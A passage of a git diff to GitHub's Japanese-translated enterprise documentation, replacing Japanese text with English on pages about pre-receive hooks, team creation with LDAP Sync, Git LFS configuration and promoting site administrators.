                    | Deletion of a release | 「[リポジトリのリリースを管理する](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)」 | -| 
                    stafftools branch restore
                    | Restoration of a branch from the site admin dashboard | "[Site admin dashboard](/admin/configuration/site-admin-dashboard#repositories)" | -| 
                    tag create api
                    | Creation of a tag via the API | "[Git database](/rest/reference/git#create-a-tag-object)" in the REST API documentation | -| 
                    slumlord (#SHA)
                    | Commit via Subversion | "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)" | -| 
                    web branch create
                    | Creation of a branch via the web interface | 「[リポジトリ内でのブランチの作成と削除](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)」 | +| Value | Action | More information | +| :- | :- | :- | +| 
                    auto-merge deployment api
                    | Automatic merge of the base branch via a deployment created with the API | "[Repositories](/rest/reference/repos#create-a-deployment)" in the REST API documentation | +| 
                    blob#save
                    | Change to a file's contents in the web interface | "[Editing files](/repositories/working-with-files/managing-files/editing-files)" | +| 
                    branch merge api
                    | Merge of a branch via the API | "[Repositories](/rest/reference/repos#merge-a-branch)" in the REST API documentation | +| 
                    branches page delete button
                    | Deletion of a branch in the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" | +| 
                    git refs create api
                    | Creation of a ref via the API | "[Git database](/rest/reference/git#create-a-reference)" in the REST API documentation | +| 
                    git refs delete api
                    | Deletion of a ref via the API | "[Git database](/rest/reference/git#delete-a-reference)" in the REST API documentation | +| 
                    git refs update api
                    | Update of a ref via the API | "[Git database](/rest/reference/git#update-a-reference)" in the REST API documentation | +| 
                    git repo contents api
                    | Change to a file's contents via the API | "[Repositories](/rest/reference/repos#create-or-update-file-contents)" in the REST API documentation | +| 
                    merge base into head
                    | Update of the topic branch from the base branch when the base branch requires strict status checks (via **Update branch** in a pull request, for example) | "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" | +| 
                    pull request branch delete button
                    | Deletion of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" | +| 
                    pull request branch undo button
                    | Restoration of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)" | +| 
                    pull request merge api
                    | Merge of a pull request via the API | "[Pulls](/rest/reference/pulls#merge-a-pull-request)" in the REST API documentation | +| 
                    pull request merge button
                    | Merge of a pull request in the web interface | "[Merging a pull request](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)" | +| 
                    pull request revert button
                    | Revert of a pull request | "[Reverting a pull request](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)" | +| 
                    releases delete button
                    | Deletion of a release | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)" | +| 
                    stafftools branch restore
                    | Restoration of a branch from the site admin dashboard | "[Site admin dashboard](/admin/configuration/site-admin-dashboard#repositories)" | +| 
                    tag create api
                    | Creation of a tag via the API | "[Git database](/rest/reference/git#create-a-tag-object)" in the REST API documentation | +| 
                    slumlord (#SHA)
                    | Commit via Subversion | "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)" | +| 
                    web branch create
                    | Creation of a branch via the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)" | #### Available for pull request merges The following variables are available in the pre-receive hook environment when the push that triggers the hook is a push due to the merge of a pull request. -| 変数 | 説明 | 値の例 | -|:-------------------------- |:---------------------------------------------------------------------------- |:---------------------------- | -| 
                    $GITHUB_PULL_REQUEST_AUTHOR_LOGIN
                    | Username of account that authored the pull request | octocat | -| 
                    $GITHUB_PULL_REQUEST_HEAD
                    | The name of the pull request's topic branch, in the format `USERNAME:BRANCH` | octocat:fix-bug | -| 
                    $GITHUB_PULL_REQUEST_BASE
                    | The name of the pull request's base branch, in the format `USERNAME:BRANCH` | octocat:main | +| Variable | Description | Example value | +| :- | :- | :- | +| 
                    $GITHUB_PULL_REQUEST_AUTHOR_LOGIN
                    | Username of account that authored the pull request | octocat | +| 
                    $GITHUB_PULL_REQUEST_HEAD
                    | The name of the pull request's topic branch, in the format `USERNAME:BRANCH` | octocat:fix-bug | +| 
                    $GITHUB_PULL_REQUEST_BASE
                    | The name of the pull request's base branch, in the format `USERNAME:BRANCH` | octocat:main | #### Available for pushes using SSH authentication -| 変数 | 説明 | 値の例 | -|:-------------------------- |:-------------------------------------------------------------- |:----------------------------------------------- | -| 
                    $GITHUB_PUBLIC_KEY_FINGERPRINT
                    | The public key fingerprint for the user who pushed the changes | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 | +| Variable | Description | Example value | +| :- | :- | :- | +| 
                    $GITHUB_PUBLIC_KEY_FINGERPRINT
                    | The public key fingerprint for the user who pushed the changes | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 | -## 権限の設定と {% data variables.product.prodname_ghe_server %} への pre-receive フックのプッシュ +## Setting permissions and pushing a pre-receive hook to {% data variables.product.prodname_ghe_server %} -A pre-receive hook script is contained in a repository on {% data variables.product.product_location %}. サイト管理者はリポジトリの権限を考慮し、適切なユーザだけがアクセスできるようにしなければなりません。 +A pre-receive hook script is contained in a repository on {% data variables.product.product_location %}. A site administrator must take into consideration the repository permissions and ensure that only the appropriate users have access. -フックは単一のリポジトリに集約することをおすすめします。 集約されたフックのリポジトリがパブリックになっている場合、`README.md`をポリシーの強制の説明に利用できます。 また、コントリビューションをプルリクエスト経由で受け付けることもできます。 しかし、pre-receiveフックはデフォルトブランチからのみ追加できます。 テストのワークフロー用には、設定を持つリポジトリのフォークを使うべきです。 +We recommend consolidating hooks to a single repository. If the consolidated hook repository is public, the `README.md` can be used to explain policy enforcements. Also, contributions can be accepted via pull requests. However, pre-receive hooks can only be added from the default branch. For a testing workflow, forks of the repository with configuration should be used. -1. Mac ユーザは、スクリプトに実行権限を持たせてください。 +1. For Mac users, ensure the scripts have execute permissions: ```shell $ sudo chmod +x SCRIPT_FILE.sh ``` - Windows ユーザは、スクリプトに実行権限を持たせてください。 + For Windows users, ensure the scripts have execute permissions: ```shell git update-index --chmod=+x SCRIPT_FILE.sh @@ -143,14 +142,14 @@ A pre-receive hook script is contained in a repository on {% data variables.prod $ git push ``` -3. {% data variables.product.prodname_ghe_server %} のインスタンス上で [pre-receive フックを作成](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-appliance/#creating-pre-receive-hooks)してください。 +3. [Create the pre-receive hook](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks) on the {% data variables.product.prodname_ghe_server %} instance. -## ローカルでのpre-receiveスクリプトのテスト -You can test a pre-receive hook script locally before you create or update it on {% data variables.product.product_location %}. その方法の 1 つは、pre-receive フックを実行できるリモートリポジトリとして働くローカルの Docker 環境を作成することです。 +## Testing pre-receive scripts locally +You can test a pre-receive hook script locally before you create or update it on {% data variables.product.product_location %}. One method is to create a local Docker environment to act as a remote repository that can execute the pre-receive hook. {% data reusables.linux.ensure-docker %} -2. 以下を含む `Dockerfile.dev` というファイルを作成してください。 +2. Create a file called `Dockerfile.dev` containing: ```dockerfile FROM gliderlabs/alpine:3.3 @@ -172,7 +171,7 @@ You can test a pre-receive hook script locally before you create or update it on CMD ["/usr/sbin/sshd", "-D"] ``` -3. `always_reject.sh` というテストのpre-receiveスクリプトを作成してください。 このスクリプト例では、全てのプッシュを拒否します。これは、リポジトリをロックする場合に役立ちます。 +3. Create a test pre-receive script called `always_reject.sh`. This example script will reject all pushes, which is useful for locking a repository: ``` #!/usr/bin/env bash @@ -181,13 +180,13 @@ You can test a pre-receive hook script locally before you create or update it on exit 1 ``` -4. `always_reject.sh`スクリプトが実行権限を持つことを確認してください。 +4. Ensure the `always_reject.sh` scripts has execute permissions: ```shell $ chmod +x always_reject.sh ``` -5. `Dockerfile.dev` を含むディレクトリからイメージをビルドしてください。 +5. From the directory containing `Dockerfile.dev`, build an image: ```shell $ docker build -f Dockerfile.dev -t pre-receive.dev . @@ -205,37 +204,37 @@ You can test a pre-receive hook script locally before you create or update it on > Generating public/private ed25519 key pair. > Your identification has been saved in /home/git/.ssh/id_ed25519. > Your public key has been saved in /home/git/.ssh/id_ed25519.pub. - ....出力を省略.... + ....truncated output.... > Initialized empty Git repository in /home/git/test.git/ > Successfully built dd8610c24f82 ``` -6. 生成された SSH キーを含むデータコンテナを実行してください。 +6. Run a data container that contains a generated SSH key: ```shell $ docker run --name data pre-receive.dev /bin/true ``` -7. テスト pre-receive フックの `always_reject.sh` をデータコンテナにコピーしてください: +7. Copy the test pre-receive hook `always_reject.sh` into the data container: ```shell $ docker cp always_reject.sh data:/home/git/test.git/hooks/pre-receive ``` -8. `sshd` を実行しフックを動作させるアプリケーションコンテナを実行してください。 返されたコンテナ ID をメモしておいてください: +8. Run an application container that runs `sshd` and executes the hook. Take note of the container id that is returned: ```shell $ docker run -d -p 52311:22 --volumes-from data pre-receive.dev > 7f888bc700b8d23405dbcaf039e6c71d486793cad7d8ae4dd184f4a47000bc58 ``` -9. 生成された SSH キーをデータコンテナからローカルマシンにコピーしてください: +9. Copy the generated SSH key from the data container to the local machine: ```shell $ docker cp data:/home/git/.ssh/id_ed25519 . ``` -10. テストリポジトリのリモートを修正して、Docker コンテナ内の `test.git` リポジトリにプッシュしてください。 この例では `git@github.com:octocat/Hello-World.git` を使用していますが、どのリポジトリを使用しても構いません。 この例ではローカルマシン (127.0.0.1) がポート 52311 をバインドしているものとしていますが、docker がリモートマシンで動作しているなら異なる IP アドレスを使うことができます。 +10. Modify the remote of a test repository and push to the `test.git` repo within the Docker container. This example uses `git@github.com:octocat/Hello-World.git` but you can use any repository you want. This example assumes your local machine (127.0.0.1) is binding port 52311, but you can use a different IP address if docker is running on a remote machine. ```shell $ git clone git@github.com:octocat/Hello-World.git @@ -254,7 +253,7 @@ You can test a pre-receive hook script locally before you create or update it on > error: failed to push some refs to 'git@192.168.99.100:test.git' ``` - pre-receive フックの実行後にプッシュが拒否され、スクリプトからの出力がエコーされていることに注意してください。 + Notice that the push was rejected after executing the pre-receive hook and echoing the output from the script. -## 参考リンク - - *Pro Git Webサイト*の「[Gitのカスタマイズ - Gitポリシーの実施例](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)」 +## Further reading + - "[Customizing Git - An Example Git-Enforced Policy](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)" from the *Pro Git website* diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md index 522057a07a..52334965f2 100644 --- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md +++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md @@ -1,6 +1,6 @@ --- -title: Teamの作成 -intro: Team は Organization がメンバーのグループを作成し、リポジトリへのアクセスを制御できるようにします。 Team のメンバーには特定のリポジトリの読み取り、書き込み、管理権限を与えることができます。 +title: Creating teams +intro: 'Teams give organizations the ability to create groups of members and control access to repositories. Team members can be granted read, write, or admin permissions to specific repositories.' redirect_from: - /enterprise/admin/user-management/creating-teams - /admin/user-management/creating-teams @@ -13,16 +13,15 @@ topics: - Teams - User account --- +Teams are central to many of {% data variables.product.prodname_dotcom %}'s collaborative features, such as team @mentions to notify appropriate parties that you'd like to request their input or attention. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." -Teamは、team@メンションのように適切なグループに入力や注目を求めたい場合に通知をするような、{% data variables.product.prodname_dotcom %}のコラボレーションの機能の多くにおいて中心的な役割を果たします。 For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +A team can represent a group within your company or include people with certain interests or expertise. For example, a team of accessibility experts on {% data variables.product.product_location %} could comprise of people from several different departments. Teams can represent functional concerns that complement a company's existing divisional hierarchy. -Teamは、企業内のグループを表したり、特定の関心や専門分野を持つ人々を含めたりできます。 たとえば{% data variables.product.product_location %}のアクセシビリティの専門家のTeamは、様々な部署からの人々で構成されるといったことがあります。 Teamは、企業の既存の部門階層を補完する機能的な関心事項を表します。 +Organizations can create multiple levels of nested teams to reflect a company or group's hierarchy structure. For more information, see "[About teams](/enterprise/{{ currentVersion }}/user/articles/about-teams/#nested-teams)." -Organizationには、企業やグループの階層構造を反映させた入れ子チームを複数レベルで作成できます。 詳しい情報については"[Teamについて](/enterprise/{{ currentVersion }}/user/articles/about-teams/#nested-teams)"を参照してください。 +## Creating a team -## Team の作成 - -Teamの良く考えられた組み合わせは、リポジトリへのアクセスを制御する強力な方法です。 たとえば、Organization が、任意のリポジトリのデフォルトブランチにコードのプッシュすることを、 リリースエンジニアリングの Team にのみ許可する場合、Organization のリポジトリに対する**管理者**権限をリリースエンジニアリングの Team にのみ与え、他のすべての Team には**読み取り**権限だけを与えることができます。 +A prudent combination of teams is a powerful way to control repository access. For example, if your organization allows only your release engineering team to push code to the default branch of any repository, you could give only the release engineering team **admin** permissions to your organization's repositories and give all other teams **read** permissions. {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} @@ -33,9 +32,9 @@ Teamの良く考えられた組み合わせは、リポジトリへのアクセ {% data reusables.organizations.create-team-choose-parent %} {% data reusables.organizations.create_team %} -## LDAP Syncを有効化したTeamの作成 +## Creating teams with LDAP Sync enabled -ユーザ認証にLDAPを使っているインスタンスでは、Teamのメンバー管理にLDAP Syncが使えます。 **LDAP group** フィールド内のグループの **Distinguished Name** (DN) を設定すれば、Team を LDAP サーバ上の LDAP グループにマッピングできます。 Teamのメンバー管理にLDAP Syncを使う場合、{% data variables.product.product_location %}内でTeamを管理することはできません。 LADP Syncを有効化すると、マッピングされたTeamはそのメンバーをバックグラウンドで定期的に設定された間隔で同期します。 詳しい情報については[LDAP Syncの有効化](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)を参照してください。 +Instances using LDAP for user authentication can use LDAP Sync to manage a team's members. Setting the group's **Distinguished Name** (DN) in the **LDAP group** field will map a team to an LDAP group on your LDAP server. If you use LDAP Sync to manage a team's members, you won't be able to manage your team within {% data variables.product.product_location %}. The mapped team will sync its members in the background and periodically at the interval configured when LDAP Sync is enabled. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." You must be a site admin and an organization owner to create a team with LDAP sync enabled. @@ -43,19 +42,20 @@ You must be a site admin and an organization owner to create a team with LDAP sy {% warning %} -**ノート:** -- LDAP Sync は Team のメンバーリストだけを管理します。 Team のリポジトリと権限は {% data variables.product.prodname_ghe_server %} 内で管理しなければなりません。 -- LDAP グループが削除されるなどして、DN への LDAP グループのマッピングが削除されたなら、すべてのメンバーは同期されている {% data variables.product.prodname_ghe_server %} Team から削除されます。 これを修復するには、Teamを新しいDNにマップし、Teamのメンバーを再度追加し、[手動でマッピングを同期](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap/#manually-syncing-ldap-accounts)してください。 -- LDAP Sync が有効化されていると、ある人がリポジトリから削除された場合、その人はアクセスを失いますが、その人のフォークは削除されません。 元々のOrganizationのリポジトリへのアクセスできるように3ヶ月以内にその人がTeamに追加されたなら、次回の同期の際にフォークへのアクセスは自動的に回復されます。 +**Notes:** +- LDAP Sync only manages the team's member list. You must manage the team's repositories and permissions from within {% data variables.product.prodname_ghe_server %}. +- If an LDAP group mapping to a DN is removed, such as if the LDAP group is deleted, then every member is removed from the synced {% data variables.product.prodname_ghe_server %} team. To fix this, map the team to a new DN, add the team members back, and [manually sync the mapping](/enterprise/admin/authentication/using-ldap#manually-syncing-ldap-accounts). +- When LDAP Sync is enabled, if a person is removed from a repository, they will lose access but their forks will not be deleted. If the person is added to a team with access to the original organization repository within three months, their access to the forks will be automatically restored on the next sync. {% endwarning %} -1. [LDAP Syncが有効化](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)されていることを確認してください。 +1. Ensure that [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync). {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} -6. TeamをマッピングするLDAPグループのDNを検索してください。 DNが分からないなら、LDAPグループの名前を入力してください。 {% data variables.product.prodname_ghe_server %} は検索を行い、マッチがあればオートコンプリートします。 ![LDAP グループ DN へのマッピング](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png) +6. Search for an LDAP group's DN to map the team to. If you don't know the DN, type the LDAP group's name. {% data variables.product.prodname_ghe_server %} will search for and autocomplete any matches. +![Mapping to the LDAP group DN](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png) {% data reusables.organizations.team_description %} {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create-team-choose-parent %} diff --git a/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md index a57a3484f2..ff100011d4 100644 --- a/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md +++ b/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md @@ -1,5 +1,5 @@ --- -title: Enterprise 向けの Git Large File Storage を設定する +title: Configuring Git Large File Storage for your enterprise intro: '{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %}' redirect_from: - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise/ @@ -24,19 +24,18 @@ topics: - Storage shortTitle: Configure Git LFS --- +## About {% data variables.large_files.product_name_long %} -## {% data variables.large_files.product_name_long %}について - -{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} {% data variables.large_files.product_name_long %} は、単一のリポジトリ、すべての個人または Organization のリポジトリ、または Enterprise 内のすべてのリポジトリで使用できます。 特定のリポジトリまたは Organization に対して {% data variables.large_files.product_name_short %} を有効にする前に、Enterprise に対して {% data variables.large_files.product_name_short %} を有効にする必要があります。 +{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} You can use {% data variables.large_files.product_name_long %} with a single repository, all of your personal or organization repositories, or with every repository in your enterprise. Before you can enable {% data variables.large_files.product_name_short %} for specific repositories or organizations, you need to enable {% data variables.large_files.product_name_short %} for your enterprise. {% data reusables.large_files.storage_assets_location %} {% data reusables.large_files.rejected_pushes %} -詳しい情報については"[{% data variables.large_files.product_name_long %}について](/articles/about-git-large-file-storage)"、"[大きなファイルのバージョニング](/enterprise/user/articles/versioning-large-files/)" 、[{% data variables.large_files.product_name_long %}プロジェクトサイト](https://git-lfs.github.com/)を参照してください。 +For more information, see "[About {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)", "[Versioning large files](/enterprise/user/articles/versioning-large-files/)," and the [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/). {% data reusables.large_files.can-include-lfs-objects-archives %} -## Enterprise 向けに {% data variables.large_files.product_name_long %} を設定する +## Configuring {% data variables.large_files.product_name_long %} for your enterprise {% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} @@ -45,9 +44,10 @@ shortTitle: Configure Git LFS {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} -4. [{% data variables.large_files.product_name_short %} access]で、ドロップダウンメニューを使用して [**Enabled**] または [**Disabled**] をクリックします。 ![Git LFSアクセス](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png) +4. Under "{% data variables.large_files.product_name_short %} access", use the drop-down menu, and click **Enabled** or **Disabled**. +![Git LFS Access](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png) -## 個々のリポジトリ用に {% data variables.large_files.product_name_long %} を設定する +## Configuring {% data variables.large_files.product_name_long %} for an individual repository {% data reusables.enterprise_site_admin_settings.override-policy %} @@ -58,7 +58,7 @@ shortTitle: Configure Git LFS {% data reusables.enterprise_site_admin_settings.admin-tab %} {% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} -## ユーザーアカウントまたは Organization が所有するすべてのリポジトリ用に {% data variables.large_files.product_name_long %} を設定する +## Configuring {% data variables.large_files.product_name_long %} for every repository owned by a user account or organization {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} @@ -68,23 +68,23 @@ shortTitle: Configure Git LFS {% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} {% ifversion ghes %} -## サードパーティのサーバを使うGit Large File Storageの設定 +## Configuring Git Large File Storage to use a third party server {% data reusables.large_files.storage_assets_location %} {% data reusables.large_files.rejected_pushes %} -1. {% data variables.product.product_location %} で {% data variables.large_files.product_name_short %} を無効化します。 詳しい情報については、「[Enterprise の {% data variables.large_files.product_name_long %} を設定する](#configuring-git-large-file-storage-for-your-enterprise)」を参照してください。 +1. Disable {% data variables.large_files.product_name_short %} on {% data variables.product.product_location %}. For more information, see "[Configuring {% data variables.large_files.product_name_long %} for your enterprise](#configuring-git-large-file-storage-for-your-enterprise)." -2. サードパーティのサーバーを指し示す {% data variables.large_files.product_name_short %} の設定ファイルを作成します。 +2. Create a {% data variables.large_files.product_name_short %} configuration file that points to the third party server. ```shell - # デフォルト設定を表示 + # Show default configuration $ git lfs env > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) > git version 2.7.4 (Apple Git-66)   > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic)   - # サードパーティサーバーを指す .lfsconfig を作成します。 + # Create .lfsconfig that points to third party server. $ git config -f .lfsconfig remote.origin.lfsurl https://THIRD-PARTY-LFS-SERVER/path/to/repo $ git lfs env > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) @@ -92,24 +92,24 @@ shortTitle: Configure Git LFS   > Endpoint=https://THIRD-PARTY-LFS-SERVER/path/to/repo/info/lfs (auth=none)   - # .lfsconfig の内容を表示する + # Show the contents of .lfsconfig $ cat .lfsconfig [remote "origin"] lfsurl = https://THIRD-PARTY-LFS-SERVER/path/to/repo ``` -3. 各ユーザーに対して同じ {% data variables.large_files.product_name_short %} の設定を維持するには、カスタムの `.lfsconfig` ファイルをリポジトリにコミットします。 +3. To keep the same {% data variables.large_files.product_name_short %} configuration for each user, commit a custom `.lfsconfig` file to the repository. ```shell $ git add .lfsconfig $ git commit -m "Adding LFS config file" ``` -3. 既存の {% data variables.large_files.product_name_short %} アセットを移行します。 詳しい情報については、「[異なる {% data variables.large_files.product_name_long %} サーバーへ移行する](#migrating-to-a-different-git-large-file-storage-server)」を参照してください。 +3. Migrate any existing {% data variables.large_files.product_name_short %} assets. For more information, see "[Migrating to a different {% data variables.large_files.product_name_long %} server](#migrating-to-a-different-git-large-file-storage-server)." -## 異なるGit Large File Storageサーバへの移行 +## Migrating to a different Git Large File Storage server -別の {% data variables.large_files.product_name_long %} サーバーに移行する前に、サードパーティのサーバーを使用するように {% data variables.large_files.product_name_short %} を設定する必要があります。 詳細については、「[サードパーティのサーバーを使用するための {% data variables.large_files.product_name_long %} を設定する](#configuring-git-large-file-storage-to-use-a-third-party-server)」を参照してください。 +Before migrating to a different {% data variables.large_files.product_name_long %} server, you must configure {% data variables.large_files.product_name_short %} to use a third party server. For more information, see "[Configuring {% data variables.large_files.product_name_long %} to use a third party server](#configuring-git-large-file-storage-to-use-a-third-party-server)." -1. 2 番目のリモートでリポジトリを設定します。 +1. Configure the repository with a second remote. ```shell $ git remote add NEW-REMOTE https://NEW-REMOTE-HOSTNAME/path/to/repo   @@ -121,7 +121,7 @@ shortTitle: Configure Git LFS > Endpoint (NEW-REMOTE)=https://NEW-REMOTE-HOSTNAME/path/to/repo/info/lfs (auth=none) ``` -2. 古いリモートからすべてのオブジェクトを取得します。 +2. Fetch all objects from the old remote. ```shell $ git lfs fetch origin --all > Scanning for all objects ever referenced... @@ -130,7 +130,7 @@ shortTitle: Configure Git LFS > Git LFS: (16 of 16 files) 48.71 MB / 48.85 MB ``` -3. すべてのオブジェクトを新しいリモートにプッシュします。 +3. Push all objects to the new remote. ```shell $ git lfs push NEW-REMOTE --all > Scanning for all objects ever referenced... @@ -140,6 +140,6 @@ shortTitle: Configure Git LFS ``` {% endif %} -## 参考リンク +## Further reading -- [{% data variables.large_files.product_name_long %}プロジェクトサイト](https://git-lfs.github.com/) +- [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/) diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md index 570990edb8..780a4f4191 100644 --- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md +++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md @@ -1,11 +1,11 @@ --- -title: サイト管理者の昇格あるいは降格 +title: Promoting or demoting a site administrator redirect_from: - /enterprise/admin/articles/promoting-a-site-administrator/ - /enterprise/admin/articles/demoting-a-site-administrator/ - /enterprise/admin/user-management/promoting-or-demoting-a-site-administrator - /admin/user-management/promoting-or-demoting-a-site-administrator -intro: サイト管理者は、任意の通常ユーザアカウントをサイト管理者に昇格させることや、他のサイト管理者を通常のユーザに降格させることができます。 +intro: 'Site administrators can promote any normal user account to a site administrator, as well as demote other site administrators to regular users.' versions: ghes: '*' type: how_to @@ -16,44 +16,47 @@ topics: - Enterprise shortTitle: Manage administrators --- - {% tip %} -**メモ:** [ユーザの LDAP アクセスの設定](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance)時に [LDAP Sync が有効](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)になっており、`Administrators group` 属性が設定されている場合、それらのユーザは自動的にインスタンスに対するサイト管理者アクセスを持つことになります。 この場合、以下のステップで手動でユーザを昇格させることはできません。ユーザを昇格させるにはLDAPの管理者グループに追加してください。 +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) and the `Administrators group` attribute is set when [configuring LDAP access for users](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance), those users will automatically have site administrator access to your instance. In this case, you can't manually promote users with the steps below; you must add them to the LDAP administrators group. {% endtip %} -ユーザの Organization のオーナーへの昇格に関する情報については「[コマンドラインユーティリティ](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-org-admin-promote)」の `ghe-org-admin-promote` セクションを参照してください。 +For information about promoting a user to an organization owner, see the `ghe-org-admin-promote` section of "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-org-admin-promote)." -## Enterprise設定からユーザを昇格させる +## Promoting a user from the enterprise settings {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} -5. ページの右上にある[**Add owner**] をクリックします。 ![管理者を追加するボタン](/assets/images/help/business-accounts/business-account-add-admin-button.png) -6. 検索フィールドでユーザ名を入力し、[**Add**] をクリックします。 ![管理者を追加するための検索フィールド](/assets/images/help/business-accounts/business-account-search-to-add-admin.png) +5. In the upper-right corner of the page, click **Add owner**. + ![Button to add an admin](/assets/images/help/business-accounts/business-account-add-admin-button.png) +6. In the search field, type the name of the user and click **Add**. + ![Search field to add an admin](/assets/images/help/business-accounts/business-account-search-to-add-admin.png) -## Enterprise設定からサイト管理者を降格させる +## Demoting a site administrator from the enterprise settings {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} -1. ウィンドウの左上にある [Find an administrator] 検索フィールドに、降格させたい人物のユーザ名を入力します。 ![管理者を見つけるための検索フィールド](/assets/images/help/business-accounts/business-account-search-for-admin.png) +1. In the upper-left corner of the page, in the "Find an administrator" search field, type the username of the person you want to demote. + ![Search field to find an administrator](/assets/images/help/business-accounts/business-account-search-for-admin.png) -1. 検索結果から、降格させるユーザ名を探し、{% octicon "gear" %} ドロップダウンメニューを使って **Remove owner** を選択してください。 ![Enterprise から削除するオプション](/assets/images/help/business-accounts/demote-admin-button.png) +1. In the search results, find the username of the person you want to demote, then use the {% octicon "gear" %} drop-down menu, and select **Remove owner**. + ![Remove from enterprise option](/assets/images/help/business-accounts/demote-admin-button.png) -## コマンドラインからユーザを昇格させる +## Promoting a user from the command line -1. アプライアンスに [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) で接続してください。 -2. [ghe-user-promote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-promote) に昇格させたいユーザ名を渡して実行してください。 +1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) into your appliance. +2. Run 